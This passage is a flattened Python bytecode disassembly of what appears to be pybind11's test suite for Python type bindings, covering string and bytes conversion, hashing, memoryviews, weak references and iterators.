FOR_ITER to 262 STORE_FAST k LOAD_FAST noconv1 LOAD_FAST k BINARY_SUBSCR LOAD_FAST expected LOAD_FAST k BINARY_SUBSCR COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL m LOAD_METHOD cast_functions LOAD_FAST expected CALL_METHOD STORE_FAST noconv2 SETUP_LOOP to 312 LOAD_FAST noconv2 GET_ITER FOR_ITER to 310 STORE_FAST k LOAD_FAST noconv2 LOAD_FAST k BINARY_SUBSCR LOAD_FAST expected LOAD_FAST k BINARY_SUBSCR COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 20 STORE_FAST t LOAD_FAST t CALL_FUNCTION LOAD_FAST t LOAD_ATTR __name__ MAP_ADD JUMP_ABSOLUTE RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 22 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_FAST v LOAD_FAST k LOAD_ATTR __name__ MAP_ADD JUMP_ABSOLUTE RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 26 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_FAST k LOAD_FAST v CALL_FUNCTION LOAD_FAST k LOAD_ATTR __name__ MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_CONST 'bytes' LOAD_GLOBAL range LOAD_CONST 10 CALL_FUNCTION BUILD_TUPLE LOAD_CONST ('none', 42) LOAD_CONST ('ellipsis', 42) LOAD_CONST ('type', 42) BUILD_LIST STORE_FAST non_converting_test_cases SETUP_LOOP to 130 LOAD_FAST non_converting_test_cases GET_ITER FOR_ITER to 128 UNPACK_SEQUENCE STORE_FAST t STORE_FAST v SETUP_LOOP to 126 LOAD_CONST (True, False) GET_ITER FOR_ITER to 124 STORE_FAST move LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 74 STORE_FAST excinfo LOAD_GLOBAL m LOAD_METHOD nonconverting_constructor LOAD_FAST t LOAD_FAST v LOAD_FAST move CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST "Object of type '" LOAD_GLOBAL type LOAD_FAST v CALL_FUNCTION LOAD_ATTR __name__ FORMAT_VALUE LOAD_CONST "' is not an instance of '" LOAD_FAST t FORMAT_VALUE LOAD_CONST "'" BUILD_STRING STORE_FAST expected_error LOAD_GLOBAL str LOAD_FAST excinfo LOAD_ATTR value CALL_FUNCTION LOAD_FAST expected_error COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_ATTR convert_to_pybind11_str STORE_FAST cvt LOAD_FAST cvt LOAD_CONST 'Str' CALL_FUNCTION LOAD_CONST 'Str' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST b'Bytes' CALL_FUNCTION LOAD_CONST "b'Bytes'" COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST None CALL_FUNCTION LOAD_CONST 'None' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST False CALL_FUNCTION LOAD_CONST 'False' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST True CALL_FUNCTION LOAD_CONST 'True' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST 42 CALL_FUNCTION LOAD_CONST '42' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST 2 LOAD_CONST 65 BINARY_POWER CALL_FUNCTION LOAD_CONST '36893488147419103232' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST -1.5 CALL_FUNCTION LOAD_CONST '-1.5' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST () CALL_FUNCTION LOAD_CONST '()' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST (18,) CALL_FUNCTION LOAD_CONST '(18,)' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt BUILD_LIST CALL_FUNCTION LOAD_CONST '[]' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST 28 BUILD_LIST CALL_FUNCTION LOAD_CONST '[28]' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt BUILD_MAP CALL_FUNCTION LOAD_CONST '{}' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST 3 LOAD_CONST 4 BUILD_MAP CALL_FUNCTION LOAD_CONST '{3: 4}' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_GLOBAL set CALL_FUNCTION CALL_FUNCTION LOAD_CONST 'set()' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cvt LOAD_CONST 3 BUILD_SET CALL_FUNCTION LOAD_CONST '{3}' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'DZ' STORE_FAST valid_orig LOAD_FAST valid_orig LOAD_METHOD encode LOAD_CONST 'utf-8' CALL_METHOD STORE_FAST valid_utf8 LOAD_FAST cvt LOAD_FAST valid_utf8 CALL_FUNCTION STORE_FAST valid_cvt LOAD_GLOBAL hasattr LOAD_GLOBAL m LOAD_CONST 'PYBIND11_STR_LEGACY_PERMISSIVE' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST valid_cvt LOAD_FAST valid_utf8 COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 362 LOAD_GLOBAL type LOAD_FAST valid_cvt CALL_FUNCTION LOAD_GLOBAL str COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST valid_cvt LOAD_CONST "b'\\xc7\\xb1'" COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST b'\x80' STORE_FAST malformed_utf8 LOAD_GLOBAL hasattr LOAD_GLOBAL m LOAD_CONST 'PYBIND11_STR_LEGACY_PERMISSIVE' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cvt LOAD_FAST malformed_utf8 CALL_FUNCTION LOAD_FAST malformed_utf8 COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 438 LOAD_FAST cvt LOAD_FAST malformed_utf8 CALL_FUNCTION STORE_FAST malformed_cvt LOAD_GLOBAL type LOAD_FAST malformed_cvt CALL_FUNCTION LOAD_GLOBAL str COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST malformed_cvt LOAD_CONST "b'\\x80'" COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD get_implicit_casting CALL_METHOD STORE_FAST z LOAD_FAST z LOAD_CONST 'd' BINARY_SUBSCR LOAD_CONST 'abc' LOAD_CONST 'abc' LOAD_CONST 'abc' LOAD_CONST 'abc' LOAD_CONST 'str' LOAD_CONST 'str1' LOAD_CONST 'str2' LOAD_CONST 'str3' LOAD_CONST 42 LOAD_CONST 42 LOAD_CONST 43 LOAD_CONST 44 LOAD_CONST ('char*_i1', 'char*_i2', 'char*_e', 'char*_p', 'str_i1', 'str_i2', 'str_e', 'str_p', 'int_i1', 'int_i2', 'int_e', 'int_p') BUILD_CONST_KEY_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST z LOAD_CONST 'l' BINARY_SUBSCR LOAD_CONST 3 LOAD_CONST 6 LOAD_CONST 9 LOAD_CONST 12 LOAD_CONST 15 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST capture SETUP_WITH to 18 POP_TOP LOAD_GLOBAL m LOAD_METHOD print_function CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_CONST '\n Hello, World!\n 1 2.0 three True -- multiple args\n *args-and-a-custom-separator\n no new line here -- next print\n flush\n py::print + str.format = this\n ' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST capture LOAD_ATTR stderr LOAD_CONST 'this goes to stderr' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL RuntimeError CALL_METHOD SETUP_WITH to 74 STORE_FAST excinfo LOAD_GLOBAL m LOAD_METHOD print_failure CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL str LOAD_FAST excinfo LOAD_ATTR value CALL_FUNCTION LOAD_CONST 'Unable to convert call argument ' LOAD_GLOBAL detailed_error_messages_enabled POP_JUMP_IF_FALSE LOAD_CONST "'1' of type 'UnregisteredType' to Python object" JUMP_FORWARD to 100 LOAD_CONST "'1' to Python object (#define PYBIND11_DETAILED_ERROR_MESSAGES or compile in debug mode for details)" BINARY_ADD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_BUILD_CLASS LOAD_CONST <code object Hashable at 0x7fab823a4390, file "f.py", line 554> LOAD_CONST 'Hashable' MAKE_FUNCTION LOAD_CONST 'Hashable' CALL_FUNCTION STORE_FAST Hashable LOAD_BUILD_CLASS LOAD_CONST <code object Unhashable at 0x7fab823a4420, file "f.py", line 561> LOAD_CONST 'Unhashable' MAKE_FUNCTION LOAD_CONST 'Unhashable' CALL_FUNCTION STORE_FAST Unhashable LOAD_GLOBAL m LOAD_METHOD hash_function LOAD_FAST Hashable LOAD_CONST 42 CALL_FUNCTION CALL_METHOD LOAD_CONST 42 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 78 POP_TOP LOAD_GLOBAL m LOAD_METHOD hash_function LOAD_FAST Unhashable CALL_FUNCTION CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_hash.<locals>.Hashable' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7fab823a4270, file "f.py", line 555> LOAD_CONST 'test_hash.<locals>.Hashable.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object __hash__ at 0x7fab823a4300, file "f.py", line 558> LOAD_CONST 'test_hash.<locals>.Hashable.__hash__' MAKE_FUNCTION STORE_NAME __hash__ LOAD_CONST None RETURN_VALUE LOAD_FAST value LOAD_FAST self STORE_ATTR value LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR value RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_hash.<locals>.Unhashable' STORE_NAME __qualname__ LOAD_CONST None STORE_NAME __hash__ LOAD_CONST None RETURN_VALUE SETUP_LOOP to 132 LOAD_CONST ((1, 1), (3, 5)) GET_ITER FOR_ITER to 130 UNPACK_SEQUENCE STORE_FAST a STORE_FAST b LOAD_FAST a LOAD_FAST b COMPARE_OP == LOAD_FAST a LOAD_FAST b COMPARE_OP != LOAD_FAST a LOAD_FAST b COMPARE_OP < LOAD_FAST a LOAD_FAST b COMPARE_OP <= LOAD_FAST a LOAD_FAST b COMPARE_OP > LOAD_FAST a LOAD_FAST b COMPARE_OP >= LOAD_FAST a LOAD_FAST b BINARY_ADD LOAD_FAST a LOAD_FAST b BINARY_SUBTRACT LOAD_FAST a LOAD_FAST b BINARY_MULTIPLY LOAD_FAST a LOAD_FAST b BINARY_TRUE_DIVIDE LOAD_FAST a LOAD_FAST b BINARY_OR LOAD_FAST a LOAD_FAST b BINARY_AND LOAD_FAST a LOAD_FAST b BINARY_XOR LOAD_FAST a LOAD_FAST b BINARY_RSHIFT LOAD_FAST a LOAD_FAST b BINARY_LSHIFT BUILD_LIST STORE_FAST li LOAD_GLOBAL m LOAD_METHOD test_number_protocol LOAD_FAST a LOAD_FAST b CALL_METHOD LOAD_FAST li COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL list LOAD_GLOBAL range LOAD_CONST 100 CALL_FUNCTION CALL_FUNCTION STORE_FAST li LOAD_FAST li LOAD_CONST None LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BINARY_SUBSCR LOAD_GLOBAL m LOAD_METHOD test_list_slicing LOAD_FAST li CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD issue2361_str_implicit_copy_none CALL_METHOD LOAD_CONST 'None' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 44 STORE_FAST excinfo LOAD_GLOBAL m LOAD_METHOD issue2361_dict_implicit_copy_none CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST 'NoneType' LOAD_GLOBAL str LOAD_FAST excinfo LOAD_ATTR value CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'iterable' LOAD_GLOBAL str LOAD_FAST excinfo LOAD_ATTR value CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST method LOAD_FAST args CALL_FUNCTION STORE_FAST view LOAD_GLOBAL isinstance LOAD_FAST view LOAD_GLOBAL memoryview CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST view LOAD_ATTR format LOAD_FAST fmt COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL list LOAD_FAST view CALL_FUNCTION LOAD_GLOBAL list LOAD_FAST expected_view CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST b'\n\x0b\x0c\r' STORE_FAST buf LOAD_GLOBAL sys LOAD_METHOD getrefcount LOAD_FAST buf CALL_METHOD STORE_FAST ref_before LOAD_FAST method LOAD_FAST buf CALL_FUNCTION STORE_FAST view LOAD_GLOBAL sys LOAD_METHOD getrefcount LOAD_FAST buf CALL_METHOD STORE_FAST ref_after LOAD_FAST ref_before LOAD_FAST ref_after COMPARE_OP < POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL list LOAD_FAST view CALL_FUNCTION LOAD_GLOBAL list LOAD_FAST buf CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD test_memoryview_from_buffer_empty_shape CALL_METHOD STORE_FAST view LOAD_GLOBAL isinstance LOAD_FAST view LOAD_GLOBAL memoryview CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST view LOAD_ATTR format LOAD_CONST 'B' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL bytes LOAD_FAST view CALL_FUNCTION LOAD_CONST b'' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL RuntimeError CALL_METHOD SETUP_WITH to 24 POP_TOP LOAD_GLOBAL m LOAD_METHOD test_memoryview_from_buffer_invalid_strides CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL ValueError CALL_METHOD SETUP_WITH to 24 POP_TOP LOAD_GLOBAL m LOAD_METHOD test_memoryview_from_buffer_nullptr CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD test_memoryview_from_memory CALL_METHOD STORE_FAST view LOAD_GLOBAL isinstance LOAD_FAST view LOAD_GLOBAL memoryview CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST view LOAD_ATTR format LOAD_CONST 'B' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL bytes LOAD_FAST view CALL_FUNCTION LOAD_CONST b'\xff\xe1\xab7' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD get_len LOAD_GLOBAL list LOAD_GLOBAL range LOAD_CONST 42 CALL_FUNCTION CALL_FUNCTION CALL_METHOD LOAD_CONST 42 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 66 STORE_FAST exc_info LOAD_GLOBAL m LOAD_METHOD get_len LOAD_CONST <code object <genexpr> at 0x7fab823a4a50, file "f.py", line 665> LOAD_CONST 'test_builtin_functions.<locals>.<genexpr>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_CONST 42 CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL str LOAD_FAST exc_info LOAD_ATTR value CALL_FUNCTION LOAD_CONST ("object of type 'generator' has no len()", "'generator' has no length") COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 14 STORE_FAST i LOAD_FAST i YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD isinstance_pybind11_bytes LOAD_CONST b'' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD isinstance_pybind11_bytes LOAD_CONST '' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD isinstance_pybind11_str LOAD_CONST '' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL hasattr LOAD_GLOBAL m LOAD_CONST 'PYBIND11_STR_LEGACY_PERMISSIVE' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL m LOAD_METHOD isinstance_pybind11_str LOAD_CONST b'' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 82 LOAD_GLOBAL m LOAD_METHOD isinstance_pybind11_str LOAD_CONST b'' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD pass_to_pybind11_bytes LOAD_CONST b'Bytes' CALL_METHOD LOAD_CONST 5 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 44 POP_TOP LOAD_GLOBAL m LOAD_METHOD pass_to_pybind11_bytes LOAD_CONST 'Str' CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL hasattr LOAD_GLOBAL m LOAD_CONST 'PYBIND11_STR_LEGACY_PERMISSIVE' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL m LOAD_METHOD pass_to_pybind11_str LOAD_CONST b'Bytes' CALL_METHOD LOAD_CONST 5 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 112 LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 106 POP_TOP LOAD_GLOBAL m LOAD_METHOD pass_to_pybind11_str LOAD_CONST b'Bytes' CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL m LOAD_METHOD pass_to_pybind11_str LOAD_CONST 'Str' CALL_METHOD LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD pass_to_std_string LOAD_CONST b'Bytes' CALL_METHOD LOAD_CONST 5 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD pass_to_std_string LOAD_CONST 'Str' CALL_METHOD LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST b'\x80' STORE_FAST malformed_utf8 LOAD_GLOBAL hasattr LOAD_GLOBAL m LOAD_CONST 'PYBIND11_STR_LEGACY_PERMISSIVE' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL m LOAD_METHOD pass_to_pybind11_str LOAD_FAST malformed_utf8 CALL_METHOD LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 232 LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 226 POP_TOP LOAD_GLOBAL m LOAD_METHOD pass_to_pybind11_str LOAD_FAST malformed_utf8 CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('getweakrefcount',) IMPORT_NAME weakref IMPORT_FROM getweakrefcount STORE_FAST getweakrefcount POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object WeaklyReferenced at 0x7fab823a4c90, file "f.py", line 716> LOAD_CONST 'WeaklyReferenced' MAKE_FUNCTION LOAD_CONST 'WeaklyReferenced' CALL_FUNCTION STORE_FAST WeaklyReferenced LOAD_CONST False STORE_DEREF callback_called LOAD_CLOSURE callback_called BUILD_TUPLE LOAD_CONST <code object callback at 0x7fab823a4db0, file "f.py", line 721> LOAD_CONST 'test_weakref.<locals>.callback' MAKE_FUNCTION STORE_FAST callback LOAD_FAST WeaklyReferenced CALL_FUNCTION STORE_FAST obj LOAD_FAST getweakrefcount LOAD_FAST obj CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST create_weakref LOAD_FAST obj CALL_FUNCTION STORE_FAST wr LOAD_FAST getweakrefcount LOAD_FAST obj CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST WeaklyReferenced CALL_FUNCTION STORE_FAST obj LOAD_FAST getweakrefcount LOAD_FAST obj CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST create_weakref_with_callback LOAD_FAST obj LOAD_FAST callback CALL_FUNCTION STORE_FAST wr LOAD_FAST getweakrefcount LOAD_FAST obj CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF callback_called POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS DELETE_FAST obj LOAD_GLOBAL pytest LOAD_METHOD gc_collect CALL_METHOD POP_TOP LOAD_DEREF callback_called POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_weakref.<locals>.WeaklyReferenced' STORE_NAME __qualname__ LOAD_CONST None RETURN_VALUE LOAD_CONST True STORE_DEREF callback_called LOAD_CONST None RETURN_VALUE LOAD_BUILD_CLASS LOAD_CONST <code object C at 0x7fab823a4ed0, file "f.py", line 750> LOAD_CONST 'C' MAKE_FUNCTION LOAD_CONST 'C' CALL_FUNCTION STORE_FAST C LOAD_CONST <code object callback at 0x7fab823a4f60, file "f.py", line 753> LOAD_CONST 'test_weakref_err.<locals>.callback' MAKE_FUNCTION STORE_FAST callback LOAD_FAST C CALL_FUNCTION STORE_FAST ob LOAD_GLOBAL env LOAD_ATTR PYPY POP_JUMP_IF_TRUE LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD JUMP_FORWARD to 50 LOAD_GLOBAL contextlib LOAD_METHOD nullcontext CALL_METHOD SETUP_WITH to 80 POP_TOP LOAD_FAST has_callback POP_JUMP_IF_FALSE LOAD_FAST create_weakref LOAD_FAST ob LOAD_FAST callback CALL_FUNCTION JUMP_FORWARD to 74 LOAD_FAST create_weakref LOAD_FAST ob CALL_FUNCTION STORE_FAST _ POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_weakref_err.<locals>.C' STORE_NAME __qualname__ BUILD_LIST STORE_NAME __slots__ LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD tuple_iterator CALL_METHOD LOAD_CONST 12 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD dict_iterator CALL_METHOD LOAD_CONST 1016 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD passed_iterator LOAD_GLOBAL iter LOAD_CONST (-7, 3) CALL_FUNCTION CALL_METHOD LOAD_CONST -4 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 39 LOAD_CONST 43 LOAD_CONST 92 LOAD_CONST 49 LOAD_CONST 22 LOAD_CONST 29 LOAD_CONST 93 LOAD_CONST 98 LOAD_CONST 26 LOAD_CONST 57 LOAD_CONST 8 BUILD_LIST STORE_FAST lst LOAD_GLOBAL tuple LOAD_FAST lst CALL_FUNCTION STORE_FAST tup LOAD_GLOBAL m LOAD_METHOD sequence_item_get_ssize_t LOAD_FAST lst CALL_METHOD LOAD_CONST 43 